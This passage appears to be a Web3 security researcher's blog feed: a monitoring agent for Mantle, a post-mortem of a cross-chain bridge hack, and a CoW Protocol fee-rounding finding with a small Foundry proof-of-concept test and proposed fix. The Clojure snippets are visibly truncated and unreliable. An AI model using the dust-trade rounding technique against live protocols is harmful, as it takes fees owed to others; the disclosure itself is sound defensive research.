I chose Clojure for the monitoring agent due to its robust handling of state and excellent concurrency primitives, while the SentinelGuardian contract is built with Foundry on the Mantle Network.

The SentinelGuardian (Solidity)
The contract is designed to be the "on-chain hand" of the agent. It holds the logic to pause or protect the vault once a valid trigger is received from the authorized researcher.
The Watchdog (Clojure)
The agent constantly polls the Mantle RPC. Unlike standard bots, it doesn't just look at prices; it validates the mathematical integrity of the protocol:

Clojure
(defn -main & args)))
Proof of Concept: Detecting a "Dust Leak"
During testing on Anvil, the Sentinel successfully detected a simulated rounding error (where shares > assets).

Detection: Invariant deviation detected!

Response: Automatic execution of the protect() function.

Result: Transaction 0x0237... successfully secured the protocol in less than one block.

Why Mantle?
Mantle's low fees and high throughput make it the perfect environment for high-frequency security monitoring. It allows our agent to poll the state frequently without prohibitive gas costs, ensuring the "protection window" is as small as possible.

Conclusion
Security in Web3 must evolve from static audits to dynamic, autonomous defense. Sentinel Mantle is a step toward a future where protocols can protect themselves the moment math stops adding up.

Check out the full source code on my GitHub:
https://github.com/rdin777/sentinel-mantle

The $292M Shadow Attack: Why Smart Contract Audits Weren't Enough for KelpDAO

rim dinov — Fri, 01 May 2026 10:26:45 +0000

The recent KelpDAO incident (April 2026) sent shockwaves through the DeFi ecosystem, not because of a reentrancy bug or a math error, but because it exposed a critical blind spot in cross-chain security: the Transport Layer.

As a Web3 security researcher, I’ve analyzed the root cause and built a PoC to demonstrate how an insecure LayerZero v2 configuration led to one of the biggest hacks of the year.

🛠 The Root Cause: 1-of-1 DVN Vulnerability
Most auditors focus on Solidity, but the KelpDAO exploit happened at the infrastructure level. The protocol relied on a 1-of-1 Decentralized Verifier Network (DVN) configuration on LayerZero v2.

How the Attack Unfolded:
RPC Poisoning: The attacker (linked to the Lazarus Group) isolated the RPC nodes of the single verifier.

Fake State Injection: By controlling the verifier’s view of the source chain, the hacker simulated a "Burn" event for rsETH.

Unchecked Minting: The destination chain, trusting the single compromised verifier, triggered an LzReceive and minted $292M worth of tokens out of thin air.

This is a classic Single Point of Failure (SPoF). Even the most secure smart contract cannot defend against a compromised truth-source.

📈 Market Contagion & Recovery (Post-Mortem)
As of May 1, 2026, the industry is still picking up the pieces:

Aave Liquidity Crisis: The influx of "unbacked" rsETH used as collateral created $123M - $230M in bad debt.

The "DeFi United" Effort: A massive coordination between LayerZero Labs, Consensys, and Arbitrum DAO is underway to restore the peg, including a release of 30,765.66 ETH frozen by the Arbitrum Security Council.

🔍 Proactive Defense: Monitoring Cross-Chain Invariants
In my research repository [rdin777/kelpdao-incident-analysis], I’ve proposed a two-layer defense strategy:

Multi-DVN Configuration (X-of-Y)
Never trust a single verifier. The industry is moving to a mandatory 2-of-3 or 3-of-5 setup (e.g., Google Cloud + Polyhedra + LayerZero Labs).
Real-time Invariant Monitoring (Clojure)
I’ve implemented a listener in Clojure that tracks cross-chain supply. If Total Supply on Destination > Locked Assets on Source, the monitor triggers an emergency pause.

Clojure
;; Sneak peek of the monitoring logic
(defn check-cross-chain-solvency source-locked dest-minted
(log-info "System Solvent")))
🚀 Conclusion
The KelpDAO hack is a reminder that in 2026, Web3 Security = Smart Contract Security + Infrastructure Security. We must move beyond auditing lines of code and start auditing the paths that data takes between chains.

Check out the full PoC and Analysis on my GitHub:
👉 github.com/rdin777/kelpdao-incident-analysis

web3 #blockchain #security #ethereum #layerzero #solidity

How 1,000 Wei Can Drain Protocol Fees: A Deep Dive into CoW Protocol Rounding Errors

rim dinov — Thu, 30 Apr 2026 06:36:33 +0000

During my recent security research into the CoW Protocol (Gnosis Protocol v2), I focused on how the protocol handles fractional settlements. While the protocol is architecturally sound, a classic smart contract pitfall—precision loss—can lead to cumulative fee leakage.

In this post, I’ll show how a malicious solver can exploit integer division in GPv2Settlement to execute trades with zero protocol fees.

The Vulnerability: Death by a Thousand Cuts
The core of the issue lies in how fees are calculated for partiallyFillable orders. In GPv2Order.sol, users can sign orders that allow solvers to fill them in multiple steps.

When a solver executes a partial fill, the protocol calculates the proportional fee using the following formula:

executedFeeAmount=
sellAmount
feeAmount⋅executedAmount

Since Solidity doesn't support floating-point numbers, it uses integer division, which always rounds down.

The Attack Vector
A malicious solver can split a large order into thousands of "dust" transactions. If the solver ensures that (feeAmount⋅executedAmount)<sellAmount, the result will be 0.

Proof of Concept (PoC)
To verify this, I wrote a test using the Foundry framework. My goal was to prove that a trade with a valid fee amount could be processed while contributing exactly 0 to the protocol's treasury.

Solidity
// test/DustAttack.t.sol
function test_RoundingFeeToZero() public view {
uint256 sellAmount = 100 ether;
uint256 feeAmount = 1 ether;

// Solver executes a "dust" trade of 1000 wei
uint256 executedAmount = 1000; 

// Proportional fee calculation: (1e18 * 1000) / 100e18
uint256 executedFeeAmount = (feeAmount * executedAmount) / sellAmount;

console.log("Executed Amount (wei):", executedAmount);
console.log("Calculated Fee (wei): ", executedFeeAmount);

assertEq(executedFeeAmount, 0, "Fee should be rounded to zero");

}
As shown in my terminal, the test passed with a zero fee result, confirming the "Fee Leakage" vulnerability.

Impact & Mitigation
While a single transaction might only leak a few wei, an automated solver can repeat this thousands of times. This results in:

Protocol Revenue Loss: The DAO loses its intended cut of the volume.

Unfair Advantage: Solvers can bypass the cost of doing business on the protocol.

Recommended Fix:
Implement a "minimum fee" check or use a rounding-up mechanism (like fixedPoint.mulDivUp) to ensure the protocol always collects at least 1 unit of the fee token for any non-zero execution.

Conclusion
Precision matters—especially in DeFi. This research is part of my ongoing work in smart contract security, where I analyze top-tier protocols for subtle economic vulnerabilities.

You can find the full PoC and my research notes in my GitHub repository:
https://github.com/rdin777/contracts_cowprotocol

About the Author:
I am a Smart Contract Auditor and Security Researcher specializing in vulnerability research (Log Injection, DoS, and Math errors). Currently looking for remote opportunities in Web3 security.

solidity #web3 #security #ethereum #foundry